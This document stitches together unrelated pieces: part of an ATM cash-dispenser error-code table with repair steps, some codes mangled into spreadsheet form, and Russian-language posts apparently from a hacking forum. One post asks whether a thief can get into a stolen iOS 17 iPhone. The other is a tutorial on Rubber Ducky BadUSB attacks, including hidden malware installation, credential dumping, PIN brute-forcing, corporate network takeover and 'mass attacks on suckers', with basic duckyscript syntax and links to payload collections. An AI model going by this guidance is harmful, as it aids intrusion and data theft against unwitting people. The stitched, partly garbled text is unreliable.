516| 2. Check the abnormal communication cable.| |
517| 3. Check the CDU firmwave version and refer to specifications.| |
518| 4005200| The remaining notes at the sensor in front of the CST after dispense operation (CS11AB, CS21AB, CS31AB, CS41AB)| 1. Remove the remaining notes at a sensor in front of the CST
519| 2. Realign notes in the cassette| |
520| 3. Check abnormal clutch.| |
521| 4. Check abrasion of the cassette box pick unit.| |
522| 4005300| Error for the double note detection during separation.|
523| 4005400| CDU EP Program Error during dispense operation (failed table search) (Cash Dispenser)| 1. Initialize after resetting the power
524| 2. Upgrade the CDU firmware or re-download software| |
525| 3. Replace the CDU B/D| |
526| 4005500| Timeout due to note's length error passed through the CS13 during dispense operation| 1. Remove a jammed note between the tray and CDU
527| 2. Remove a jammed note at the position of the CS13 sensor| |
528| 3. Remove a dust on the CS13 sensor| |
529| 4005600| Abnormal operation of the gate solenoid 1 during dispense operation.| 1. Remove a jammed note on the gate
530| 2. Remove notes in the reject box and remount the reject box| |
531| 3. Check if the CS3 sensor bracket is bended.| |
532| 4. Check if the CS3 sensor cable is disconnected| |
533| 5. Exchange a sensor after abnormal operating CS3 Gate detecting sensor.| |
534| 6. Replace the reject solenoid 1| |
535| 4005700| Sum check error of note index setting value in the CDU CST of EEPROM during initializing| 1. Read the CDU version to check CDU CST note index
536| 2. Reinitialize| |
537| 3. Initialize after executing the CDU Information Set(‘P’) Command| |
538| 4. Replace the CDU board| |
539| 4005800| Retract box position error during command reserved operation| 1. Mount the retract box or open the box cover
540| 2. Check if CS62 sensor poll is abnormal| |
541| 3. Check if the CS62 sensor cable is disconnected(CDU Board CN10 #5~2).| |
542| 4005900| 2nd Cassette is not available during dispense reserved operation (Cash Dispenser)| 1. Mount 2nd cassette
543| 2. Check if the CS17 sensor cable is disconnected.| |
544| 3. Exchange a sensor after abnormal operating the CS17 sensor .| |
545| 4005A00| Incomplete mounting of 2nd cassette during dispense operation (Cash Dispenser)| 1. Check notes' status in 2nd Cassette
546| 2. Check 2nd cassette specifications| |
547| 3. Check if the CS17 sensor cable is disconnected| |
548| 4. Exchange a sensor after abnormal operating the CS17 sensor .| |
549| 4005B00| 2 Cassette miss feed during dispense operation (Cash Dispenser)| 1. Check the remaining notes in 2 Cassette
550| 2. Check if the remaining note sensor (CS26) is normal| |
551| 3. Check a jammed note in 2 Cassette or remount it| |
552| 4. Remove the dust on the CS21A and CS21B Sensors| |
553| 5. Replace 2nd cassette box when multiple error occurs| |
554| 4005C00| Sensor dark in front of the CST except dispensing during dispense operation (Cash Dispenser)| 1. Remove a dust and foreign objects on CS11AB, CS21AB, CS31AB and CS41AB sensors.
555| 2. Check the clutch operation (Life test command)| |
556| 4005D00| Continuously detected 2 notes for three times or more during dispense operation (Cash Dispenser)| 1. Check notes' status in the reject box
557| 2. Realign notes in the cassette| |
558| 3. Check foreign objects at theposition of the CS5 Sensor Guide| |
559| 4. Check if the CS5 cable is disconnected| |
560| 4.01E+03| Reserved|
561| 4005F00| Reserved|
562| 4006000| CS31AB sensor is detected as dark after dispense demand ofcassette 3| 1. Remove the remaining notes at a sensor in front of the CST
563| 2. Realign notes in the cassette| |
564| 3. Check abnormal clutch.| |
565| 4. Check abrasion of the cassette box pick unit.| |
566| 4006100| Something is detected in C31AB sensor before dispensing bills.| Something is detected in C31AB sensor before dispensing bills.
567| 4006200| The remaining notes at the sensor in front of the CST after dispense operation (CS11A, CS11B)| 1. Remove the remaining notes at a sensor in front of the CST
568| 2. Realign notes in the cassette| |
569| 3. Check abnormal clutch.| |
570| 4. Check abrasion of the cassette box pick unit.| |
571| 4006300| The remaining notes at the sensor in front of the CST after dispense operation (CS31A, CS31B)| 1. Remove the remaining notes at a sensor in front of the CST
572| 2. Realign notes in the cassette| |
573| 3. Check abnormal clutch.| |
574| 4. Check abrasion of the cassette box pick unit.| |
575| 4006400| Reserved for Half-light Test Sensor Error|
576| 4006500| Reserved for Half-light Test Sensor Error|
577| 4006600| Reserved for Half-light Test Sensor Error|
578| 4006700| Reserved for Half-light Test Sensor Error|
579| 4006800| Reserved for Half-light Test Sensor Error|
580| 4006900| Reserved|
581| 4006A00| CS15AB ~ CS13 Time out(Jam) during dispensing bills from second cassette.| 1. Remove jammed notes on CDU notes transport path
582| 2. Remove dust in CS15~CS13 sensor| |
583| 3. Install after rearranging notes in cassette| |
584| 4006B00| Something is detected on CS31A, CS31B sensor during initialization| 1. Remove notes or dust in existence CS31AB Sensor
585| 2. Check CS31AB Sensor Cable| |
586| 3. Exchange Sensor after abnormal operating CS31AB Sensor| |
587| 4006c00| Reserved for Half-light Test Sensor Error|
588| 4006d00| Reserved for Half-light Test Sensor Error|
589| 4.01E+03| Reserved for Half-light Test Sensor Error|
590| 4006f00| Reserved for Half-light Test Sensor Error|
591| 4007000| CS41AB sensor is detected as dark after dispense demand of cassette 4| 1. Remove the remaining notes at a sensor in front of the CST
592| 2. Realign notes in the cassette| |
593| 3. Check abnormal clutch.| |
594| 4. Check abrasion of the cassette box pick unit.| |
595| 4007100| Reserved for Half-light Test Sensor Error|
596| 4007200| Something is detected on CS41AB sensor during dispensing bills.|
597| 4007300| The remaining notes at the sensor in front of the CST after dispense operation (CS41A, CS41B)| 1. Remove the remaining notes at a sensor in front of the CST
598| 2. Realign notes in the cassette| |
599| 3. Check abnormal clutch.| |
600| 4. Check abrasion of the cassette box pick unit.| |
601| 4007400| Reserved for Half-light Test Sensor Error|
602| 4007500| Reserved for Half-light Test Sensor Error|
603| 4007600| Reserved for Half-light Test Sensor Error|
604| 4007700| Reserved for Half-light Test Sensor Error|
605| 4007800| Reserved for Half-light Test Sensor Error|
606| 4007900| Reserved for Half-light Test Sensor Error|
607| 4007A00| CS31AB ~ CS13 sensors are detected as dark due to time out(Jam) during dispense operation of cassette 4| 1. Remove jammed notes on CDU notes transport path
608| 2. Remove dust in CS31AB~CS13 sensor| |
609| 3. Install after rearranging notes in cassette| |
610| 4007B00| CS41A or CS41B sensor is detected as dark during initializing operation|
611| 4007C00| 4 cassette misfeed error (Separated rejection)| 1. Check notes in 4 Cassette
612| 2. Check Sensor(CS36) Poll| |
613| 3. Check jam in 4 cassette and reload| |
614| 4. Remove dust in CS41A, CS41B Sensor| |
615| 5. Exchange 4 cassette box when there are many error| |
616| 4007D00| Cassette 4 is not completely mounted into CDU body after dispense demand of cassette 4|
617| 4.01E+03| Reserved for Half-light Test Sensor Error|
618| 4007f00| Reserved for Half-light Test Sensor Error|
619| 4008000| CS15AB sensor is detected as dark after dispense of cassette 2| 1. Remove the remaining notes at a sensor in front of the CST
620| 2. Realign notes in the cassette| |
621| 3. Check abnormal clutch.4. Check abrasion of the cassette box pick unit.| |
622| 4008100| Received the wrong shutter command from the upper unit.| 1. Check the CDU received command
623| 2. Check the abnormal communication cable.| |
624| 3. Check the CDU firmwave version and refer to specifications.| |
625| 4008200| Failed to open the CDU shutter (failed ten times retry)| 1. Remove foreign objects in the shutter unit.
626| 2. Check the shutter motor connection cable.| |
627| 3. Check a connection status of the TS004 and TS005 sensor| |
628| 4. Check the shutter cam operation.| |
629| 4008300| Reserved for future use.|
630| 4008400| Failed to close the CDU shutter (failed ten times retry)| 1. Remove foreign objects in the shutter unit.
631| 2. Check the shutter motor connection cable.| |
632| 3. Check a connection status of the TS004 and TS005 sensor.| |
633| 4. Check the shutter cam’s rotation operation.| |
634| 4008500| When the command of CDU shutter open or close is received in case of not being set CDU shutter. (Cash Dispenser)| Change of the information to be set about CDU shutter
635| 4008600| No note available inside the shutter after the collection command|
636| 4008700| Error failed to communicate with CDU shutter (Cash Dispenser)| Change of the information to be set about CDU shutter
637| 4008800| Error occurs when cassette with ID is not mounted (Cash Dispenser)| Check of bill index
638| 4008900| Error occurs when the number of dispensed bills from cassette don't match the number of detection by sensor (Cash Dispenser)| Check of EP program version
639| 4008A00| CS11AB Dark detection on transport path before dispense operation (Cash Dispenser)| 1. Remove the remaining notes and foreign objects at the position of the CS11AB sensor
640| 2. Check if the CS11AB sensor cable is disconnected| |
641| 3. Exchange a sensor after abnormal operating the CS11AB sensor| |
642| 4008B00| CS21AB Dark detection on transport path before dispense operation (Cash Dispenser)| 1. Remove the remaining notes and foreign objects at the position of the CS21AB sensor
643| 2. Check if the CS21AB sensor cable is disconnected| |
644| 3. Exchange a sensor after abnormal operating the CS21AB sensor| |
645| 4008C00| CS31AB Dark detection on transport path before dispense operation (Cash Dispenser)| 1. Remove the remaining notes and foreign objects at the position of the CS31AB sensor
646| 2. Check if the CS31AB sensor cable is disconnected| |
647| 3. Exchange a sensor after abnormal operating the CS31AB sensor| |
648| 4008D00| CS41AB Dark detection on transport path before dispense operation (Cash Dispenser)| 1. Remove the remaining notes and foreign objects at the position of the CS41AB sensor
649| 2. Check if the CS41AB sensor cable is disconnected| |
650| 3. Exchange a sensor after abnormal operating the CS41AB sensor| |
651| 4.01E+03| CS4B Dark detection on transport path before dispense operation (Cash Dispenser)| 1. Remove the remaining notes and foreign objects at the position of the CS4 sensor
652| 2. Check if the CS4 sensor cable is disconnected| |
653| 3. Exchange a sensor after abnormal operating the CS4 sensor| |
654| 4008F00| CS13 sensor detects the notes with hole during dispensing.| 1. Initialize Cash Dispenser (CDU)
655| 2. Remove the holed note on CS13| |
656| 4009000| Mismatched number of check sheets| 1. Check dispensed check and reject check.
657| 2. Remove a jammed note on the CDU.| |
658| 3. Remove a dust or foreign objects on the CS13 sensor| |
659| 4. Exchange a sensor after abnormal operating the CS13 sensor.| |
660| ? Reset number of check sheets after troubleshooting.| |
661| 4009000| Mismatched number of check sheets (Cash Dispenser)| 1. Check dispensed check and reject check.
662| 2. Remove a jammed note on the CDU.| |
663| 3. Remove a dust or foreign objects on the CS13 sensor| |
664| 4. Exchange a sensor after abnormal operating the CS13 sensor.| |
665| ? Reset number of check sheets after troubleshooting.| |
666| 4009100| Reject error due to check skew during check dispense operation.| 1. Check a check's status in the reject box
667| 2. Remove a dust and foreign objects on the CS31AB or CS41AB sensors.| |
668| 3. Check the CIU Module Print Head.| |
669| 4. Realign check sheets in the check cassette box.| |
670| ? Reset number of check sheets after troubleshooting.| |
671| 4009100| Reject error due to check skew during check dispense operation. (Cash Dispenser)| 1. Check a check's status in the reject box
672| 2. Remove a dust and foreign objects on the CS31AB or CS41AB sensors.| |
673| 3. Check the CIU Module Print Head.4. Realign check sheets in the check cassette box.| |
674| ? Reset number of check sheets after troubleshooting.| |
675| 4009200| Reject error due to abnormal check interval skew during check dispense operation.| 1. Check a check's status in the reject box
676| 2. Remove a dust and foreign objects on the CS31AB or CS41AB sensors.| |
677| 3. Check the CIU Module Print Head.| |
678| 4. Realign check sheets in the check cassette box.| |
679| 5. Clean the pick up roller in the check cassette box.| |
680| ? Reset number of check sheets after troubleshooting.| |
681| 4009200| Reject error due to abnormal check interval skew during check dispense operation. (Cash Dispenser)| 1. Check a check's status in the reject box
682| 2. Remove a dust and foreign objects on the CS31AB or CS41AB sensors.| |
683| 3. Check the CIU Module Print Head.| |
684| 4. Realign check sheets in the check cassette box.| |
685| 5. Clean the pick up roller in the check cassette box.| |
686| ? Reset number of check sheets after troubleshooting.| |
687| 4009300| Reject error due to long check sheet during check dispense operation.| 1. Check a check's status in the reject box
688| 2. Remove a dust and foreign objects on the CS31AB or CS41AB sensors.| |
689| 3. Check the CIU Module Print Head.| |
690| 4. Realign check sheets in the check cassette box.| |
691| 5. Clean the pick up roller in the check cassette box.| |
692| ? Reset number of check sheets after troubleshooting.| |
693| 4009300| Reject error due to long check sheet during check dispense operation. (Cash Dispenser)| The same as #40092 handling.
694| 4009400| Reject error due to short check sheet during check dispense operation.| 1. Check a check's status in the reject box
695| 2. Remove a dust and foreign objects on the CS31AB or CS41AB sensors.| |
696| 3. Check the CIU Module Print Head.| |
697| 4. Realign check sheets in the check cassette box.| |
698| 5. Clean the pick up roller in the check cassette box.| |
699| ? Reset number of check sheets after troubleshooting.| |
700| 4009400| Reject error due to short check sheet during check dispense operation. (Cash Dispenser)| The same as #40092 handling.

| | |
---|---|---|---
| | |

Возможно ли взломать IPhone на iOS 17?
ID: 676535aeb4103b69df37355d
Thread ID: 101396
Created: 2023-10-31T20:41:26+0000
Last Post: 2024-09-02T19:44:57+0000
Author: TOPCHEK
Replies: 12 Views: 2K

Неважно какой модели IPhone, важно что на нём стоит iOS 17+
Связи с владельцем нет.
На создание данной темы меня вдохновила эта тема - https://xss.is/threads/101347

  1. Если вдруг у человека украли IPhone на iOS 17+, то каковы шансы у похитителя завладеть данными на айфоне?
  2. Существует ли разница между IPhone XR и IPhone 15 если оба на iOS 17 в плане защиты от взлома на запароленном устройстве?
  3. Если прям совсем никаких шансов на получение доступа нет, тогда какие существуют альтернативные смартфоны кроме айфона которые также невозможно взломать кроме как на запчасти отдать его?

Эта тема для рассуждения этих вопросов.

Rubber Ducky - Комбайн для Badusb атак!
ID: 676535aeb4103b69df373562
Thread ID: 87687
Created: 2023-05-10T18:00:39+0000
Last Post: 2024-08-16T15:58:46+0000
Author: Gufi
Prefix: Статья
Replies: 16 Views: 2K

Вступление

-Что такое BADUSB атака?.

-Кто такие hak5 и что в них за интересные проекты.

-Физический пентест и использование Badusb.

Смотрим уточку

-Распаковка и внешний вид девайса.

-Внутренности и микро платы.

-Принцип работы устройства.

-Первый запуск Rubber Ducky.

-Первые шаги в атаках.

Написание скриптов для кастомных атак

-Вкратце про duckyscript.

-Эмуляция нажатий клавиш.

-Таймауты и системные таймауты.

-Горячие клавиши и комбинации двух клавиш.

-Запись информации в переменную.

-Циклы в duckyscript.

-Операторы.

-Дополнительные функции языка от hak5.

Атаки на устройства

-Атаки на Windows/Linux

-Атаки на мобилки

-Атаки на роутеры

-Атаки на устройства с поддержкой физической клавиатуры.

Проводим пентест/физический пентест с помощью Rubber Ducky

-Настройка Rubber Ducky для атаки

-Атака на корпоративную сеть с помощью Rubber Ducky

-Массовые атаки на лоха

Итоги

Вступление

Всем привет друзья и враги , сегодня мы поговорим об таком векторе и виде атаки как Badusb , и об чудесном инструменте для проведения этих атак – Rubber Ducky!

Что такое BADUSB атака?
Badusb – вектор атаки на систему с помощью специального устройства которое эмулирует клавиатуру. Этот вектор атаки относиться к физическому пентесту. Устройство подключается к системе через USB порт , система принимает устройство за клавиатуру , и устройство начинает ввод системных команд на пользу злоумышленнику.

Атака основана на использовании механизмов, встроенных в большинство USB- устройств и на способности злоумышленника изменять программное обеспечение этих устройств.

Существует множество различных способов использования BADUSB атаки, однако наиболее распространенный подход заключается в создании вредоносного устройства, которое маскируется под легитимное USB-устройство, такое как флэш- накопитель или клавиатура. Злоумышленник может разместить на таком устройстве вредоносное ПО, которое будет выполняться на целевой системе при подключении к ней.

Одним из примеров использования BADUSB атак является замена стандартного USB- кабеля на флэш-накопитель, содержащий вредоносное ПО. При подключении такого устройства к компьютеру, вредоносное ПО может автоматически выполняться и заражать систему. Злоумышленник также может использовать BADUSB атаку, чтобы получить удаленный доступ к компьютеру, введя на него свой вредоносный скрипт с помощью маскированного USB-устройства.

Одним из самых распространенных видов устройств для проведения BADUSB атак является Rubber Ducky, созданный командой hak5. Rubber Ducky эмулирует клавиатуру и позволяет написать скрипты на языке duckyscript для выполнения различных вредоносных действий на целевой системе при подключении к ней.

Такое устройство можно и сделать самому , например в моей статье “Делаем Badusb из arduino” https://xss.is/threads/76979/ , где мы делали устройство для Badusb атак из простой платы ардуино Arduino micro pro за 3$ с алика.

Кто такие Hak5 и что в них за интересные проекты
Hak5 - компания которая занимается разработкой и производством различных устройств и программного обеспечения для проведения пентеста (тестирования на проникновение) и для кибербезопасности.

Компания была основана в 2005 году, и изначально специализировалась на создании видео-подкастов, посвященных темам кибербезопасности. В настоящее время, Hak5 также производит и продает устройства для пентеста.

Компания hak5 известна своими проектами в области кибербезопасности, такими как Rubber Ducky, WiFi Pineapple и Shark Jack.

Идея создания Rubber Ducky возникла в 2010 году, когда основатель hak5 Даррен Киттингс рассматривал возможности использования USB-устройств для проведения атак.

Первый прототип Rubber Ducky был создан в 2011 году. В основе устройства лежал микроконтроллер ATmega32U4, который предоставлял возможность эмулировать клавиатуру и автоматически вводить текст на компьютере при подключении через USB-порт.

За несколько лет команда hak5 улучшила устройство, добавив поддержку языка duckyscript для написания скриптов, которые можно было использовать для выполнения различных вредоносных действий на целевой системе. Также в новой версии Rubber Ducky добавили type c ,

который можно использовать для атак на мобильные устройства и кнопку с индикатором для управления платой и просмотром статуса атаки.

Некоторые устройства от Hak5:

Rubber Ducky
1683741218553.png

BASH BUNNY
1683741238076.png

SHARK JACK
1683741255176.png

WIFI PINEAPPLE
1683741906270.png

Физический пентест и использование Badusb
Физический пентест – тестирование на проникновение в реальный физический комплекс или здание. При физическом пентесте тестируют охрану , систему наблюдения , и систему защиты от посторонних.

Физический пентест довольно актуален при этапе “проникновение в локальную сеть”. Одним из методов физического пентеста является "бросание флешки", при котором специалист по безопасности оставляет специально подготовленную флешку в зоне доступа к системе, которую необходимо проверить. Если кто-то вставляет флешку в свой компьютер, это может привести к заражению компьютера вредоносной программой.

Еще один метод - это проверка защищенности зданий и помещений. Пентестеры могут попытаться взломать замки или проникнуть в помещения, где хранятся конфиденциальные данные или важное оборудование.

В целом, физический пентест направлен на проверку безопасности объектов изнутри, включая системы, здания и процессы. Это может помочь выявить уязвимости, которые не могут быть обнаружены с помощью других методов тестирования.

Можно выделить три основных этапа физического пентеста:

  1. Определение целей
  2. Разведка и подготовка
  3. Исполнение

Когда мы проникли в здание или в нужную нам локацию (офис , серверная , склад) мы можем использовать Rubber Ducky для автоматизации быстрых действий на пк , например: скрытая установка мальваря , дамп учетных данных пк , захват учетной записи и т.д.

Имея этот прекрасный девайс мы можем захватить целую сеть , только одним махом руки - запхать флешку в порт USB нашей цели. Об реализации этого поговорим в главе “Атака на корпоративную сеть с помощью Rubber Ducky” , а пока что нам нужно изучить сам девайс , и написать подходящий скрипт для правильной роботы устройства.

Использование такого девайса во время физического пентеста , можно увидеть в сериале мистер робот , когда команда элиота разбросала такие устройства под видом простых USB накопителей.

Тем самым , провокация любопытного пиндоса прошла успешно) он засунул “флешку” в USBпорт на своем пк , тем самым установил мальварь на пк. Далее по сюжету они заразили целую сеть , и потом еще происходили много внеземной хрени) Не суть…

Если смотреть с точки анализа проблемы на эту ситуацию – мы можем понять , что социальная инженерия – всему голова , ведь самое уязвимое место в системе - это кожаные мешки мяса)

Смотрим уточку​

Распаковка и внешний вид девайса

Я заказал устройство с офф сайта - <https://shop.hak5.org/products/usb-rubber- ducky>

Мне пришла новая Rubber ducky (второй ревизии) в синем конверте , вышло очень креативно , Hak5 постарались над дизайном.
1683741286908.png
В конверте было:

Rubber Ducky
1683741310526.png 1683741320179.png 1683741331898.png

Главное в упаковке , устройство которое напоминает обычную флешку , имеет USB type A и USB type C выходы.

Устройство имеет черный пластиковый корпус , который очень царапается при разборке корпуса) так что будьте с ним аккуратно) также железная крутилка , которая закрывает выход USB.

Наклейки
1683741340991.png
Стикеры от Hak5 , три капельки которых нету) используются для модификации , об этом поговорим в следующей главе.

Визитка
1683741348182.png 1683741354234.png

Красивая визитка с описанием вида устройства и линками на туториалы и мануалы по использованию устройства.

Разборка

Теперь мы можем увидеть голую Badusb , как не странно , плата не очень похожая на плату флешки)
Это логично , ведь тут у нас целый процессор для отработки скриптов
1683741365757.png

Внутренности и плата

1683741378857.png 1683741386559.png

-Микроконтроллер (например, ATmega32u4)

-USB-коннектор type A

- USB-коннектор type C

-Память (например, EEPROM или флэш-память)

-Кнопка

-Светодиод

-HID контроллер

Микроконтроллер

Микроконтроллер (Процессор) – главная часть на плате , отрабатывающая запросы от других железок на плате , и заставляющая эти железки логично работать.

На новой ревизии стоит процессор Atmel 32UC3B1512

USB-коннектор type A

USB-коннектор type A – простой USB выход , для того чтобы устройство можно было подключить к пк, или к другим портам через адаптер типа:

-USB type A – USB type C

-USB type A – USB type B

-USB type A – Lightning

USB-коннектор type C

USB-коннектор type C - спецификация USB для универсального компактного двухстороннего 24-контактного разъёма для USB-устройств и USB-кабелей.

Порт для этого коннектора , в последнее время начали пихать повсюду… Мобилки , ноуты , телики , да даже бля тостеры!

Память

Устройство использует блок памяти , для сохранения байтов данных , которые должен отработать процессор.

Также возле коннектора USB type C мы можем увидеть слот для Micro SD карты , на ней можно держать готовые скрипты.

В комплекте идет Micro SD карта на 128мб , не очень много но для начала пойдет.

При переходе устройства в режим накопителя (по дефолту нужно просто нажать на кнопку которая находиться на плате.) мы можем увидеть в проводнике нашу Micro SD карту , туда мы и будем заливать готовые .bin скрипты.

Кнопка

По дефолту кнопка вводит устройство в режим накопителя , тем самым если мы хотим закинуть или изменить , удалить скрипт который установлен на Micro SD карту , пихаем устройство в USB порт , и быстро нажимаем кнопку.

Также функцию назначения кнопки можно изменять , вписав специальную функцию кода на языке duckyscript в .bin файл , который будет закинут на Rubber Ducky. Об этом мы поговорим в разделе про duckyscript.

Но есть одна проблема - кнопку не видно и не возможно нажимать когда Rubber Ducky в корпусе. Hak5 придумали решение проблемы – стикеры , помните я говорил про три стикера которых не было в стикер паке? Так вот , они в обратной стороны корпуса.

Иза того что корпус пластиковый , он прогибается а если на корпусе напротив кнопки налепить наклейки , мы сможем кликать на кнопку не разбирая корпус. Потому что корпус на котором несколько слоев стикеров будет давить на кнопку.

Силу нажатия можно регулировать количеством слоев стикеров , я поставил 3 , для меня это золотая середина.
1683741405794.png

Светодиод

Светодиод на плате предназначен для уведомления об статусе атаки.

Мигающий зеленый свет – скрипт работает, атака в процессе.

Зеленый свет – пауза , атака закончилась.

Красный цвет - Не найден файл inject.bin в корневом каталоге SD-карты или отсутствует SD-карта

Также с помощью функции в коде скрипта , можно изменять цвет индикатора , частоту мигания и еще много другого , это мы обсудим также в разделе про duckyscript.

HID контроллер

HID контроллер – один из главных модулей на плате , он отвечает за ввод команд на устройстве жертвы.

Также этот модуль в новых версиях Rubber Duckyс помощью новой функции в duckyscript умеет подменять HID идентификаторы , тем самым представляя себя устройству за такие HID аксессуары как клавиатура или накопитель.

Первый запуск Rubber Ducky

Открыли мы упаковку… посмотрели мы и внутри и снаружи…

Значит теперь пришло время проникновения)))

После того как вставили Rubber Ducky в USB порт , в проводнике у нас появиться новое устройство – накопитель.

Перейдя в накопитель мы увидим папку с документацией.
1683741422425.png

Теперь сохраняем себе эту папку на пк , и полностью удаляем все файлы с накопителя Rubber Ducky.

Принцип работы устройства

Когда вы подключаете Rubber Ducky к компьютеру, он распознается как устройство USB HID (Human Interface Device). Это позволяет Rubber Ducky эмулировать клавиатуру и мышь, и отправлять команды на ваш компьютер.

После того, как вы запускаете скрипт на Rubber Ducky, микроконтроллер на плате начинает обрабатывать команды и преобразовывать их в последовательность символов, которые эмулируются как нажатия клавиш на клавиатуре.

Далее эти символы отправляются на компьютер и там происходят уже заранее записаны в .bin файл команды.

Пройдемся по каждому этапу:

1.Создание скрипта с алгоритмом атаки

Для написания и конвертации скриптов на языке программирования есть вебсайт – текстовый редактор Payload studio. Редактор сделала сама компания Hak5 и в нем возможно писать только на duckyscript.

Переходим на https://payloadstudio.hak5.org/community/
1683741436775.png

Перед собой мы увидим текстовый редактор , сюда пишем свой код на duckyscript.

2.Конвертирование скрипта в .bin файл

Написав нужный нам код , нажимаем на кнопку Generate Payload , снизу слева.
1683741453279.png
Редактор сгенерировал нам готовый .bin файл с скриптом. Нажимаем кнопку Download , и скачиваем файл прямо из браузера.

3.Установка скрипта на модуль памяти Rubber Ducky

После подключения Rubber Ducky к пк , нажимаем кнопку на плате , чтобы перевести устройство в режим флэш накопителя.

Еще можно разобрать корпус Rubber Ducky , аккуратно вынимаем Micro SD карту из слота , и вставляем в пк.

Теперь в проводнике мы увидим новый накопитель , теперь сюда закидываем скаченный из браузера файл , файл обязательно должен иметь название inject.bin

(В накопителе Rubber Ducky должен быть только один файл – inject.bin)

4.Атака типа Badusb

После того как мы закинули файл inject.bin с нашим скриптом на Rubber Ducky , мы можем приступать к атакам.

Для проведения атаки , стоит просто уточке войти в любой USB порт , тогда при получении напряжения Rubber Ducky начнет атаку.

Помним – если хотим вставить утку в свой пк чтобы изменить/удалить скрипт , тогда либо вынимаем Micro SD карту из слота ,и далее работаем с ней в проводнике , либо после того как вставили утку , быстро нажимаете кнопку на плате для перехода в режим накопителя.

Первые шаги в атаках

После ознакомления с чудо девайсом , поговорим об атаках.

Атаки можно проводить на всех устройствах , которые поддерживают ввод информации физической клавиатуры.

Большинство атак происходит через алгоритм:

-открой командную строку

-Введи мою команду (скачай мой файл , или выполни код)

Еще Badusb можно использовать для брутфорса , например:

-брутфорс входа в систему (windows/Linux)

-брутфорс ПИН-кода , пароля мобильника (Android , IOS)

Когда мы проводим атаку на системе windows , для ввода команд , лучше использовать PowerShell.

Где взять готовые скрипты?

Готовые сборники скриптов на языке duckyscript вы сможете найти на Github , эти скрипты в народе называют payload.

Несколько репозиториев с ducky script payload-ами.

- https://github.com/hak5/usbrubberducky-payloads

- https://github.com/topics/ducky-payloads

- https://github.com/FalsePhilosopher/badusb

Написание скриптов для кастомных атак​

Вкратце про duckyscript

duckyscript - это язык программирования, который используется для написания скриптов для Rubber Ducky.

duckyscript позволяет написать скрипт, который будет имитировать нажатия клавиш на клавиатуре компьютера, а также другие действия, такие как задержки, нажатия на комбинации клавиш и запуск программ.

Также в новой версии duckyscript , Hak5 добавили много крутых функций в свой ЯП , например:

- Изменение режима атаки. HID, STORAGE , OFF

-Подмена идентификатора HID

-Определение атакуемой ОС

-Управление внутренним хранилищем

На вид ,код на языке duckyscript это набор команд и клавиш которые должен отработать процессор Rubber Ducky и отправить сигнал на HID модуль.

Но это не до конца так , когда начнете углубляться в изучение этого языка программирования , поймете что тут есть и запись данных в переменные , и логические операторы , и циклы , и функции и много всего интересного!

Перед изучением синтаксиса , запомните несколько базовых функций:

REM – комментарий в коде , при отработке скрипта интерпретатор будет игнорировать текст в строке после REM.

REM это строчка в которой этот текст будет комментарием

DELAY – это функция задержки , паузы между выполнением команд.

DELAY <время в мс>

Минимальное значение задержки равно 20.

В среднем , для адекватной роботы кода советую ставить значение задержки 100

Если атакуемая машина очень тормозит или имеет старое железо , значит значение задержки должно быть больше чтобы код сработал правильно.

В таком случае задержку ставим 800.

Эмуляция нажатий клавиш

Одной из главных функций этого языка программирования есть эмуляция нажатий клавиш.

STRING

STRING – функция которая используется для ввода текста как будто он вводится с клавиатуры.

Синтаксис и примеры:

Code:Copy to clipboard

STRING ls
STRING Hello world!

Представьте что прямо сейчас вы ввели текст Hello world на клавиатуре никуда не входив и не выходив.

Это и сделает строка STRING Hello world!

STRINGLN

Также одной из разновидностей функции STRING есть функция STRINGLN

Разница между этими функциями в том что функция STRINGLN после ввода нам нужного текста нажимает Enter.

Синтаксис и примеры:

Code:Copy to clipboard

STRINGLN ls

Если у себя на пк c линуксом открыть консоль и вставить Rubber Ducky с этим скриптом , тогда у нас отработается команда ls , и мы увидим все файлы в текущей директории.

ENTER , ESCAPE , PAUSE , BREAK , Fx

Для эмулирования нажатия таких системных клавиш как:

-ENTER

-ESCAPE

-PAUSE

-BREAK

-F1 F2 F3 F4 F5 F6 F7 F8 F9 F0 F11 F12

Есть также готовые функции , и это просто название клавиши только с КАПСЛОКОМ.

Например , 2 строки:

Code:Copy to clipboard

STRING LS

ENTER

Заменяют строку STRINGLN , или наоборот.

SHIFT, ALT, CONTROL CTRL, COMMAND, WINDOWS

Для эмулирования нажатия таких клавиш как:

-SHIFT

-ALT

-CONTROL CTRL

-COMMAND

-WINDOWS GUI

Есть также готовые функции , и это просто название клавиши только с КАПСЛОКОМ.

GUI это в большинстве случаев клавиша WIN (Windows) , и самая популярная связка этой клавиши с другой , это win + r (выполнить)

Когда нам надо эмулировать комбинацию из двух клавиш , нам надо писать строку таким способом:

GUI r

REM эта строка открывает окошко выполнить когда атакуемая система windows

По такому принципу работают все комбинации.

Несколько популярных комбинаций на заметку:

Code:Copy to clipboard

GUI r

BACKSPACE

CTRL a

CTRL c

CTRL v

ALT F4

CAPSLOCK, NUMLOCK , SCROLLLOCK

Для использования (ввода текста) через эти клавиши , в коде пишем название клавиши , и тогда она будет включена в нашей виртуальной клавиатуре.

Примеры:

Code:Copy to clipboard

ATTACKMODE HID STORAGE

DELAY 2000

CAPSLOCK

STRING abc123XYZ

Таймауты

Команда DELAY в языке duckyscript используется для задержки выполнения следующей команды на определенное количество времени.

Это может быть полезно, если вы хотите создать задержку между командами или задержать выполнение следующей команды до тех пор, пока не завершится предыдущая команда.

Синтаксис команды DELAY:

DELAY [время в миллисекундах]

Например, чтобы задержать выполнение следующей команды на 3 секунды, необходимо ввести команду DELAY 3000 (3 секунды = 3000 миллисекунд).

DELAY 5000

REM Задержка 5 секунд

В этом примере мы используем переменную DELAY, которую предварительно задали в скрипте, чтобы задержать выполнение следующей команды на 5 секунд.

Задержки могут быть полезными в том случае, если вы хотите, чтобы выполнение скрипта было более реалистичным и не выглядело как автоматическое действие. Например, если вы создаете скрипт для взлома пароля, то можно добавить небольшие задержки между набором символов, чтобы скрипт выглядел более естественно и не вызывал подозрений. Однако, учтите, что слишком большие задержки могут привести к тому, что выполнение скрипта займет слишком много времени.

Горячие клавиши и комбинации двух клавиш

Комбинации клавиш помогут нам работать с атакуемой системой быстрее , ведь множество ОС имеют свои горячие клавиши для удобного и быстрого взаимодействия с системой.

Комбинация с помощью пробела

Примеры:

Code:Copy to clipboard

GUI r

CTRL a

CTRL c

CTRL v

ALT F4

Комбинация с помощью –

Примеры:

Code:Copy to clipboard

CTRL-ALT

CTRL-SHIFT

ALT-SHIFT

COMMAND-CTRL

COMMAND-CTRL-SHIFT

COMMAND-OPTION

COMMAND-OPTION-SHIFT

Запись информации в переменную

Также в языке программирования duckyscript можно использовать переменные.

